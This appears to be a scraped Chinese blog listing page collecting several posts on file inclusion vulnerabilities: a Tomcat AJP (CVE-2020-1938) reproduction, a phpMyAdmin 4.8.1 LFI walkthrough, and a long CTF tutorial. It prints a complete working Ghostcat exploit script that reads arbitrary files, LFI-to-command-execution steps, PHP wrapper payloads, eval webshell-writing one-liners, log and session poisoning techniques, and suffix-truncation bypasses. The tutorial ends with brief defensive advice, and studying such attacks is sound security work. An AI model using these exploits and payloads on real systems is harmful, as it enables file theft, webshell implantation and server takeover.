精华内容
下载资源
问答
  • 目录 1.漏洞概述 2.影响范围 3.风险等级 4.漏洞复现 4.1.环境搭建 ...(2)手工复现文件包含漏洞 ...(4)漏洞利用POC ...根据分析该事件是通达OA中存在的两枚漏洞(文件上传漏洞,文件包含漏洞)所...
    展开全文
  • Tomcat文件包含漏洞(CVE-2020-1938)

    千次阅读 2020-09-25 16:45:44
    2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,Apache Tomcat会开启AJP连接器,方便与其他Web...

    概述

    • 2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
    • 攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

    受影响版本

    • Apache Tomcat 6
    • Apache Tomcat 7 < 7.0.100
    • Apache Tomcat 8 < 8.5.51
    • Apache Tomcat 9 < 9.0.31

    复现过程

    一、在vulhub中启动
    在这里插入图片描述
    二、Tomcat服务已开启
    在这里插入图片描述

    三、在客户端扫描,可看到Tomcat开启了AJP。
    在这里插入图片描述
    四、现在PoC,实施攻击。

    • PoC1:https://github.com/0nise/CVE-2020-1938
    • PoC2:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
    • 攻击语句:python CVE-2020-1938.py 192.168.83.131 -p 8009 -f WEB-INF/web.xml
      在这里插入图片描述
    • WEB-INF目录下所有文件都可以读取。

    附:CVE-2020-1938.py

    #!/usr/bin/env python
    #CNVD-2020-10487  Tomcat-Ajp lfi
    #by ydhcui
    import struct
    
    # Some references:
    # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
    def pack_string(s):
    	if s is None:
    		return struct.pack(">h", -1)
    	l = len(s)
    	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
    def unpack(stream, fmt):
    	size = struct.calcsize(fmt)
    	buf = stream.read(size)
    	return struct.unpack(fmt, buf)
    def unpack_string(stream):
    	size, = unpack(stream, ">h")
    	if size == -1: # null string
    		return None
    	res, = unpack(stream, "%ds" % size)
    	stream.read(1) # \0
    	return res
    class NotFoundException(Exception):
    	pass
    class AjpBodyRequest(object):
    	# server == web server, container == servlet
    	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    	MAX_REQUEST_LENGTH = 8186
    	def __init__(self, data_stream, data_len, data_direction=None):
    		self.data_stream = data_stream
    		self.data_len = data_len
    		self.data_direction = data_direction
    	def serialize(self):
    		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
    		if len(data) == 0:
    			return struct.pack(">bbH", 0x12, 0x34, 0x00)
    		else:
    			res = struct.pack(">H", len(data))
    			res += data
    		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
    			header = struct.pack(">bbH", 0x12, 0x34, len(res))
    		else:
    			header = struct.pack(">bbH", 0x41, 0x42, len(res))
    		return header + res
    	def send_and_receive(self, socket, stream):
    		while True:
    			data = self.serialize()
    			socket.send(data)
    			r = AjpResponse.receive(stream)
    			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
    				r = AjpResponse.receive(stream)
    
    			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
    				break
    class AjpForwardRequest(object):
    	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
    	REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
    	# server == web server, container == servlet
    	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    	COMMON_HEADERS = ["SC_REQ_ACCEPT",
    		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
    		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
    		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
    	]
    	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
    	def __init__(self, data_direction=None):
    		self.prefix_code = 0x02
    		self.method = None
    		self.protocol = None
    		self.req_uri = None
    		self.remote_addr = None
    		self.remote_host = None
    		self.server_name = None
    		self.server_port = None
    		self.is_ssl = None
    		self.num_headers = None
    		self.request_headers = None
    		self.attributes = None
    		self.data_direction = data_direction
    	def pack_headers(self):
    		self.num_headers = len(self.request_headers)
    		res = ""
    		res = struct.pack(">h", self.num_headers)
    		for h_name in self.request_headers:
    			if h_name.startswith("SC_REQ"):
    				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
    				res += struct.pack("BB", 0xA0, code)
    			else:
    				res += pack_string(h_name)
    
    			res += pack_string(self.request_headers[h_name])
    		return res
    
    	def pack_attributes(self):
    		res = b""
    		for attr in self.attributes:
    			a_name = attr['name']
    			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
    			res += struct.pack("b", code)
    			if a_name == "req_attribute":
    				aa_name, a_value = attr['value']
    				res += pack_string(aa_name)
    				res += pack_string(a_value)
    			else:
    				res += pack_string(attr['value'])
    		res += struct.pack("B", 0xFF)
    		return res
    	def serialize(self):
    		res = ""
    		res = struct.pack("bb", self.prefix_code, self.method)
    		res += pack_string(self.protocol)
    		res += pack_string(self.req_uri)
    		res += pack_string(self.remote_addr)
    		res += pack_string(self.remote_host)
    		res += pack_string(self.server_name)
    		res += struct.pack(">h", self.server_port)
    		res += struct.pack("?", self.is_ssl)
    		res += self.pack_headers()
    		res += self.pack_attributes()
    		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
    			header = struct.pack(">bbh", 0x12, 0x34, len(res))
    		else:
    			header = struct.pack(">bbh", 0x41, 0x42, len(res))
    		return header + res
    	def parse(self, raw_packet):
    		stream = StringIO(raw_packet)
    		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
    		self.prefix_code, self.method = unpack(stream, "bb")
    		self.protocol = unpack_string(stream)
    		self.req_uri = unpack_string(stream)
    		self.remote_addr = unpack_string(stream)
    		self.remote_host = unpack_string(stream)
    		self.server_name = unpack_string(stream)
    		self.server_port = unpack(stream, ">h")
    		self.is_ssl = unpack(stream, "?")
    		self.num_headers, = unpack(stream, ">H")
    		self.request_headers = {}
    		for i in range(self.num_headers):
    			code, = unpack(stream, ">H")
    			if code > 0xA000:
    				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
    			else:
    				h_name = unpack(stream, "%ds" % code)
    				stream.read(1) # \0
    			h_value = unpack_string(stream)
    			self.request_headers[h_name] = h_value
    	def send_and_receive(self, socket, stream, save_cookies=False):
    		res = []
    		i = socket.sendall(self.serialize())
    		if self.method == AjpForwardRequest.POST:
    			return res
    
    		r = AjpResponse.receive(stream)
    		assert r.prefix_code == AjpResponse.SEND_HEADERS
    		res.append(r)
    		if save_cookies and 'Set-Cookie' in r.response_headers:
    			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
    
    		# read body chunks and end response packets
    		while True:
    			r = AjpResponse.receive(stream)
    			res.append(r)
    			if r.prefix_code == AjpResponse.END_RESPONSE:
    				break
    			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
    				continue
    			else:
    				raise NotImplementedError
    				break
    
    		return res
    
    class AjpResponse(object):
    	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    	COMMON_SEND_HEADERS = [
    			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
    			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    			]
    	def parse(self, stream):
    		# read headers
    		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
    
    		if self.prefix_code == AjpResponse.SEND_HEADERS:
    			self.parse_send_headers(stream)
    		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
    			self.parse_send_body_chunk(stream)
    		elif self.prefix_code == AjpResponse.END_RESPONSE:
    			self.parse_end_response(stream)
    		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
    			self.parse_get_body_chunk(stream)
    		else:
    			raise NotImplementedError
    
    	def parse_send_headers(self, stream):
    		self.http_status_code, = unpack(stream, ">H")
    		self.http_status_msg = unpack_string(stream)
    		self.num_headers, = unpack(stream, ">H")
    		self.response_headers = {}
    		for i in range(self.num_headers):
    			code, = unpack(stream, ">H")
    			if code <= 0xA000: # custom header
    				h_name, = unpack(stream, "%ds" % code)
    				stream.read(1) # \0
    				h_value = unpack_string(stream)
    			else:
    				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
    				h_value = unpack_string(stream)
    			self.response_headers[h_name] = h_value
    
    	def parse_send_body_chunk(self, stream):
    		self.data_length, = unpack(stream, ">H")
    		self.data = stream.read(self.data_length+1)
    
    	def parse_end_response(self, stream):
    		self.reuse, = unpack(stream, "b")
    
    	def parse_get_body_chunk(self, stream):
    		rlen, = unpack(stream, ">H")
    		return rlen
    
    	@staticmethod
    	def receive(stream):
    		r = AjpResponse()
    		r.parse(stream)
    		return r
    
    import socket
    
    def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    	fr.method = method
    	fr.protocol = "HTTP/1.1"
    	fr.req_uri = req_uri
    	fr.remote_addr = target_host
    	fr.remote_host = None
    	fr.server_name = target_host
    	fr.server_port = 80
    	fr.request_headers = {
    		'SC_REQ_ACCEPT': 'text/html',
    		'SC_REQ_CONNECTION': 'keep-alive',
    		'SC_REQ_CONTENT_LENGTH': '0',
    		'SC_REQ_HOST': target_host,
    		'SC_REQ_USER_AGENT': 'Mozilla',
    		'Accept-Encoding': 'gzip, deflate, sdch',
    		'Accept-Language': 'en-US,en;q=0.5',
    		'Upgrade-Insecure-Requests': '1',
    		'Cache-Control': 'max-age=0'
    	}
    	fr.is_ssl = False
    	fr.attributes = []
    	return fr
    
    class Tomcat(object):
    	def __init__(self, target_host, target_port):
    		self.target_host = target_host
    		self.target_port = target_port
    
    		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    		self.socket.connect((target_host, target_port))
    		self.stream = self.socket.makefile("rb", bufsize=0)
    
    	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
    		self.req_uri = req_uri
    		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
    		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
    		if user is not None and password is not None:
    			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
    		for h in headers:
    			self.forward_request.request_headers[h] = headers[h]
    		for a in attributes:
    			self.forward_request.attributes.append(a)
    		responses = self.forward_request.send_and_receive(self.socket, self.stream)
    		if len(responses) == 0:
    			return None, None
    		snd_hdrs_res = responses[0]
    		data_res = responses[1:-1]
    		if len(data_res) == 0:
    			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
    		return snd_hdrs_res, data_res
    
    '''
    javax.servlet.include.request_uri
    javax.servlet.include.path_info
    javax.servlet.include.servlet_path
    '''
    
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("target", type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    t = Tomcat(args.target, args.port)
    _,data = t.perform_request('/asdf',attributes=[
        {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
        {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
        {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
        ])
    print('----------------------------')
    print("".join([d.data for d in data]))
    
    
    展开全文
  • 0x01 简介 phpMyadmin 4.8.1版本的index.php中存在文件包含漏洞,通过二次编码可绕过过滤。 0x02 漏洞复现 1.将?进行两次URL编码为&quot;%253f&quot;,构造下列payload: ...2.在S...

    0x01 简介

    phpMyadmin 4.8.1版本的index.php中存在文件包含漏洞,通过二次编码可绕过过滤。

    0x02 漏洞复现

    1.将?进行两次URL编码为"%253f",构造下列payload:

    http://xxx:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
    

    在这里插入图片描述
    漏洞存在。

    2.在SQL中执行select ‘<?php phpinfo() ?>’;,然后查看当前页面cookie中的phpmyadmin的值。
    在这里插入图片描述

    3.查看服务器的session文件。
    在这里插入图片描述

    4.包含session文件。

    http://xxx:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_5160933e2be04f36fccdd4695d6dbef3
    

    在这里插入图片描述
    5.构造执行命令的语句。

    select '<?php echo `ls` ?>';
    

    在这里插入图片描述
    返回命令执行的结果。
    在这里插入图片描述

    展开全文
  • CTF中文件包含漏洞总结

    万次阅读 多人点赞 2019-02-13 00:15:33
    CTF中文件包含漏洞总结 0x01 什么是文件包含漏洞 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。 0x02 文件包含漏洞的环境...

    CTF中文件包含漏洞总结


    0x01 什么是文件包含漏洞

    通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

    0x02 文件包含漏洞的环境要求

    • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
    • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

    0x03 常见文件包含函数

    php中常见的文件包含函数有以下四种:

    • include()
    • require()
    • include_once()
    • require_once()

    include与require基本是相同的,除了错误处理方面:

    • include(),只生成警告(E_WARNING),并且脚本会继续
    • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
    • include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

    0x04 PHP伪协议

    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

    一、php://input

    php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
    在这里插入图片描述

    Example 1: 造成任意代码执行

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
    	include($file);
    }else{
    	echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    注:利用php://input还可以写入php木马,即在post中传入如下代码:

    <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
    

    Example 2: 文件内容绕过

    //test.php
    <?php
    show_source(__FILE__);
    include('flag.php');
    $a= $_GET["a"];
    if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    	echo "success\n";
    	echo $flag;
    }
    
    //flag.php
    <?php
    $flag = 'flag{flag_is_here}';
    ?>
    

    审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以可以使用php://input得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行来进行绕过。
    注:遇到file_get_contents()要想到用php://input绕过。

    在这里插入图片描述

    二、php://filter

    php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
    在这里插入图片描述
    在这里插入图片描述
    POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。

    注:更多php://filter用法可参考:谈一谈php://filter的妙用

    Example 1:

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	include($file);
    }else{
    	echo '<a href="?file=flag.php">tips</a>';
    }
    ?>
    

    1.点击tip后进入如下页面,看到url中出现file=flag.php,如下:
    在这里插入图片描述
    2.尝试payload:?file=php://filter/resource=flag.php,发现无法显示内容:
    在这里插入图片描述
    3.尝试payload:?file=php://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:

    在这里插入图片描述

    三、zip://

    zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

    • zip://中只能传入绝对路径。
    • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
    • 只需要是zip的压缩包即可,后缀名可以任意更改。
    • 相同的类型的还有zlib://和bzip2://
      在这里插入图片描述
      Example 1:
    //index.php
    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if (!$file) echo '<a href="?file=upload">upload?</a>';
    if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
    	echo "hick?";
    	exit();
    }else{
    	include($file.".php");
    }
    ?>
    <!-- flag在当前目录的某个文件中 -->
    
    //upload.php
    <meta charset="utf-8">
    <form action="upload.php" method="post" enctype="multipart/form-data" >
    	 <input type="file" name="fupload" />
     	<input type="submit" value="upload!" />
    </form>
    you can upload jpg,png,zip....<br />
    <?php
    if( isset( $_FILES['fupload'] ) ) {
        $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀
        $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小
        $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称
        $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
            ( $uploaded_size < 100000 ) ) {
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
                echo '<pre>upload error</pre>';
            }
            else {// Yes!
                echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            echo '<pre>you can upload jpg,png,zip....</pre>';
        }
    }
     ?>
    

    四、data://与phar://

    data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
    在这里插入图片描述

    phar:// 有点类似zip://同样可以导致 任意代码执行。

    • phar://中相对路径和绝对路径都可以使用
      在这里插入图片描述

    0x05 包含Apache日志文件

      WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
    在这里插入图片描述
    在这里插入图片描述
      Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
      如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。

    参考文章:1.包含日志文件getshell
         2.一道包含日志文件的CTF题

    0x06 包含SESSION

    可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

    利用条件:

    • 找到Session内的可控变量
    • Session文件可读写,并且知道存储路径

    php的session文件的保存路径可以在phpinfo的session.save_path看到。
    在这里插入图片描述
    session常见存储路径:

    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sess_PHPSESSID
    • /tmp/sess_PHPSESSID
    • /tmp/sessions/sess_PHPSESSID
    • session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

    参考文章:一道SESSION包含的CTF题

    0x06 包含/pros/self/environ

    proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

    利用条件:

    • php以cgi方式运行,这样environ才会保持UA头。
    • environ文件存储位置已知,且environ文件可读。

    参考文章:proc / self / environ Injection

    0x07 包含临时文件

    在这里插入图片描述
    php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

    由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

    另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

    类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

    0x08 包含上传文件

    很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

    图片马的制作方式如下,在cmd控制台下输入:

    进入1.jph和2.php的文件目录后,执行:
    
    copy  1.jpg/b+2.php  3.jpg
    
    将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
    

    假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
    图片代码如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
    

    然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

    0x09 其他包含姿势

    • 包含SMTP(日志)
    • 包含xss



    文件包含漏洞的绕过方法


    0x09 指定前缀绕过

    一、目录遍历

    使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
    测试代码如下:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//前缀
    	include "/var/www/html/".$file;
    
    	highlight_file(__FILE__);
    ?>
    

    现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

     include.php?file=../../log/flag.txt
    

    则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

    二、编码绕过

    服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
    1.利用url编码

    • ../

      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\

      • %2e%2e%5c
      • ..%5c
      • %2e%2e\

    2.二次编码

    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c

    3.容器/服务器的编码方式


    0x10 指定后缀绕过

    后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//后缀
    	include $file.".txt";
    
    	highlight_file(__FILE__);
    ?>
    

    一、利用url

    在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
    可参考此文章:URI’s fragment

    完整url格式:

    protocol :// hostname[:port] / path / [;parameters][?query]#fragment
    

    query(?)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php?
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述
    fragment(#)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php%23
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述

    二、利用协议

    利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

    zip://

    • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo
    • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

    phar://

    • [访问参数] ?file=phar://zip.zip/phpinfo
    • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

    Example:
    (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>))
    所以分别构造payload为:

    ?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
    在这里插入图片描述
    ?file=phar://../../php.zip/phpinfo
    在这里插入图片描述

    三、长度截断

    利用条件:

    • php版本 < php 5.2.8

    原理:

    • Windows下目录最大长度为256字节,超出的部分会被丢弃
    • Linux下目录最大长度为4096字节,超出的部分会被丢弃。

    利用方法:

    • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

        ?file=./././。。。省略。。。././shell.php
      

    则指定的后缀.txt会在达到最大值后会被直接丢弃掉

    四、%00截断

    利用条件:

    • magic_quotes_gpc = Off
    • php版本 < php 5.3.4

    利用方法:

    • 直接在文件名的最后加上%00来截断指定的后缀名

        ?file=shell.php%00
      

    注:现在用到%00阶段的情况已经不多了



    文件包含漏洞防御


    • allow_url_include和allow_url_fopen最小权限化

    • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)

    • 白名单限制包含文件,或者严格过滤 . / \

    展开全文
  • 文件包含漏洞总结

    2021-04-06 15:53:07
    前言 主要有远程文件包含与本地文件包含,一般出现在php环境中。 绕过姿势 参考文章 文件包含漏洞(绕过姿势)
  • CTF——Web——文件包含漏洞

    万次阅读 多人点赞 2019-08-19 17:18:53
    文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 php 中引发文件包含漏洞的通常是以下四个...
  • dvwa文件包含漏洞

    2021-05-12 19:30:08
    文件包含漏洞原理1.本地文件包含2. 远程文件包含3.日志文件包含 ??知识点实例 原理 当服务器开启allow_url_include时,通过PHP函数(如include)去动态包含文件,且该输入用户可控,即会造成文件包含漏洞 eg: #...
  • CVE-2020-1938(POC测试) 1.背景 Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat会开启AJP...
  • Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等 该漏洞影响的Tomcat版本如下 Apache Tomcat = 6 7 <= Apache ...
  • 通达OA任意文件上传/文件包含RCE漏洞分析0x01 前提0x01 漏洞介绍0x02 漏洞分析首先下载安装绕过身份验证文件上传部分变量传递问题文件包含部分 0x01 前提 关于这个漏洞: ​ 利用方式大致有两种: 包含日志文件。 ...
  • 漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现...
  • Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件 影响版本 受影响版本 ApacheTomcat6 ApacheTomcat7<7.0...
  • 谁将烟焚散,散了纵横的牵绊文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础...
  • 目录 BlueCms POC构造 漏洞利用 ...如下在user.php中,可以看到,如果act参数为pay值,这包含 'include/payment/'.$_POST['pay']."/index.php" 文件,其中pay参数没有过滤。按道理只要截断一下,
  • 文件包含漏洞(绕过姿势)

    千次阅读 2018-08-18 23:07:52
    文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。 特殊姿势  利用...
  • 文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。 特殊姿势 利用...
